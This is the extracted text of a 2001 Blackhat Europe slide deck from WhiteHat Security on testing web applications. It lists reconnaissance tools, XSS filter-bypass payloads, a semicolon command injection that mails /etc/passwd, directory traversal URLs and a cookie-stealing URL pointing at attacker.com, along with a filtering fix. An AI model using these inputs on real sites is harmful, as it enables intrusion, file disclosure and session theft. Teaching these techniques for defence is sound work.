Web Application Security: Blackhat Europe 2001
Web Application Security: Blackhat Europe 2001
Jeremiah Grossman
jeremiah@whitehatsec.com
WhiteHat Security
www.whitehatsec.com
DO NOT TRUST
CLIENT-SIDE DATA!
Check for:
Unescaped special characters within
input strings
Tools: WGET
http://www.gnu.org/software/wget/wget.html
Directory Browsing
Index Listings
Tools: Whisker
http://www.wiretrip.net/rfp/p/doc.asp/i2/d21.htm
2001(c)WhiteHat Security, Inc.
Network Reconnaissance
WHOIS
ARIN http://www.arin.net/whois/index.html
Port Scan Nmap http://www.insecure.org/nmap/index.html
Traceroute
Ping Scan (Nmap or HPING) http://www.hping.org/
NSLookup/ Reverse DNS
DNS Zone Transfer (DIG)
STYLE
SRC
HREF
TYPE
2001(c)WhiteHat Security, Inc.
Filter Bypassing
"JavaScript is a Cockroach"
There are all kinds of input filters web applications
implement to sanitize data.
Submit all the raw HTML tags you can find, and then
view the output results.
Exploit:
<SCRIPT>alert('JavaScript Executed');</SCRIPT>
Exploit:
<IMG SRC="javasc	ript:alert('JavaScript Executed');">
Replacement of entities \10 - \11 - \12 - \13 will also succeed.
Hex instead of Decimal HTML entities will also bypass input
filters and execute.
<IMG SRC="javasc
ript:alert('JavaScript Executed');">
As well as placing multiple ZERO's in front.
<IMG SRC=javasc
ript:alert('JavaScript Executed');>
Solution:
Filter these entities within the string then do your further pattern
matching
OS Commands
Meta Characters
Path/Directory Traversal
OS Commands
Normal:
http://foo.com/app.cgi?email=none@foo.com
Altered:
http://foo.com/app.cgi?email=none@foo.com;+sendmail+/etc/passwd
Meta Characters
Normal:
http://foo.com/app.cgi?list=file.txt
Altered:
http://foo.com/app.cgi?list=*
Power of the Semi-Colon
piping input to the command line.
Normal:
http://foo.com/app.cgi?directory=/path/to/data
Altered:
http://foo.com/app.cgi?directory=path/to/data../../../../../../etc
More bits…
www.attacker.com/cgi-bin/cookie_thieft.pl?COOKIEDATA
Check:
Web Server permission by directory browsing
Software version from Discovery
Known default accounts in commercial platforms
BugTraq
Anonymous FTP open on Web Server
· WhiteHat Security
· www.whitehatsec.com